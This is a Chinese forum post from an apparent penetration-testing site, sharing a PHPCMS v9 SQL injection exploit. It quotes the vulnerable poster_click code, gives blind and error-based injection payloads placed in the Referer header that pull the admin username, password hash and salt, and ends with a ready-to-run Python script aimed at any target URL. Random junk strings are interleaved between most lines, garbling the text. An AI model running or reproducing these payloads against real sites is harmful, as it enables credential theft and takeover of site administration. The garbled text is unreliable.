中国网络渗透测试联盟
标题:
phpcms post_click注入0day利用代码
[打印本页]
作者:
admin
时间:
2013-1-11 21:01
标题:
phpcms post_click注入0day利用代码
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
1 v0 x7 _) j. u4 R' i
. D4 m$ z8 N. A$ z+ B
问题函数\phpcms\modules\poster\index.php
' |) N& T! ^9 I1 a4 `1 q
' @" {8 K5 U" Z5 K- J
public function poster_click() {
: Z, J9 Z4 S9 w( J+ u/ W3 m
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
6 E M& o1 V; {/ C
$r = $this->db->get_one(array('id'=>$id));
. _) t9 t% M7 c. S
if (!is_array($r) && empty($r)) return false;
, _" s+ K7 T# Q5 A
$ip_area = pc_base::load_sys_class('ip_area');
1 y. o2 H8 N* [/ I% ~! g
$ip = ip();
# n5 c! R0 {! q. i( D5 T4 J: L5 v
$area = $ip_area->get($ip);
S+ Z9 S) n8 L! \7 s
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
% @5 S, L3 i4 m3 D5 k
if($id) {
9 W" ]. w0 `6 M" u3 T2 J9 n$ x
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
( |' G6 I- `8 K3 ^) |
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
+ p1 C' t6 ~1 _) \* @. x
}
9 v8 x8 o. L8 Q1 f3 S5 ]( l
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
) y$ F7 l5 D* v; r8 g
$setting = string2array($r['setting']);
* y' t6 U$ \/ ^- o
if (count($setting)==1) {
2 i; u0 [# R0 ~; N) c D
$url = $setting['1']['linkurl'];
; r* v7 n: H' U, B. B9 \6 X# B
} else {
) L6 r0 b7 N* ?# V
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
' j3 q3 j: X' W
}
$ U6 C1 C M8 _* a/ B; I
header('Location: '.$url);
( B# f' O& S) ], k6 {
}
, d6 d7 l" h" E/ |: }- ]
% |0 N* m: j4 V8 l- ~
% n$ D* L6 i. N, X, t" m
$ W6 N) j3 |0 X0 A# O2 m4 }
利用方式：
7 W& n4 n5 h! {, A( g8 q( m) x q# K/ h
; d/ C, X6 W$ v! a/ H" ]' y
1、可以采用盲注入的手法：
9 P$ x v' [' D" v) w" J; _9 B
1 f1 i0 d) X# J( D8 S8 T. D4 g2 o
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
6 }! [% f5 g& t% d0 S. K
7 c- C* ]4 |% ~& ^1 w
通过返回页面，正常与否一个个猜解密码字段。
% E) ^" c/ f+ T8 h# Y
, [0 r- c0 ?. T B6 s; U) b
2、代码是花开写的，随手附上了：
\8 L8 n& ]( z( l
4 ?* v$ _( x. Q8 y- g6 D5 b- ~
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
( L- \6 F) }# |
6 @8 S j% ?, T
此方法是爆错注入手法，原理自查。
) u q7 }4 l5 b! c; o* c
0 Y3 u @/ _" e" J8 o' ?( `% T
, D6 ]" |5 i$ y
5 L" i- O% ?/ {) c+ G, O& H
利用程序:
7 E+ r/ l, c) C4 A: O. ~; v
$ U4 M9 ]* Y% T) |9 [0 ~9 ~5 B
#!/usr/bin/env python
5 o+ ]# H0 }% P2 Y
import httplib,sys,re
7 t2 @ b! Y+ X
9 I% U9 t {( t* P/ e5 d V0 s
def attack():
5 E+ G5 c# k$ I; @. i4 b8 u
print “Code by Pax.Mac Team conqu3r!”
2 l B4 W2 D* K4 k6 ], q. g* z
print “Welcome to our zone!!!”
6 O( P/ B4 A4 V, @2 k; e; K& f
url=sys.argv[1]
4 L* w7 `" V( g4 {* I+ `
paths=sys.argv[2]
- L: S x4 {' r/ V6 v9 D
conn = httplib.HTTPConnection(url)
3 @$ H2 c- p. z3 J
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
( @( k% Y8 D, j8 P, d4 N) \. T
“Accept”: “text/plain”,
) N, S% K% ?! y" v' x3 w
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
% V0 U* w3 _5 E. [7 L' o, l
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
! x# p/ K6 a0 e9 }
r1 = conn.getresponse()
* a* H+ b; b: u% w2 T& c; D
datas=r1.read()
) F6 p8 T1 d0 N9 C e, K/ {/ f
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
E7 y( o" S5 Z. I! C
print datas[0]
' [' T! {3 x5 _& A
conn.close()
* v$ e. w1 U5 m% x0 L, s
if __name__==”__main__”:
! m9 e/ O w0 [/ @; P i: N
if len(sys.argv)<3:
8 Y- p9 n6 a" y) B
print “Code by Pax.Mac Team conqu3r”
3 d! R* o$ n/ M! I8 c
print “Usgae:”
4 x: X B; J. O4 `' o9 t
print “ phpcmsattack.py
www.paxmac.org
/”
/ ] a6 y. U' h+ R
print “ phpcmsataack.py
www.paxmac.org
/phpcmsv9/”
: s3 @. Q0 X" ?2 L7 ~0 r3 \, z
sys.exit(1)
0 ~& z4 z1 Q+ R
attack()
$ t4 i5 q- r3 }5 i* z, J
. H. c! }/ @; q1 l2 b# Q0 @
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2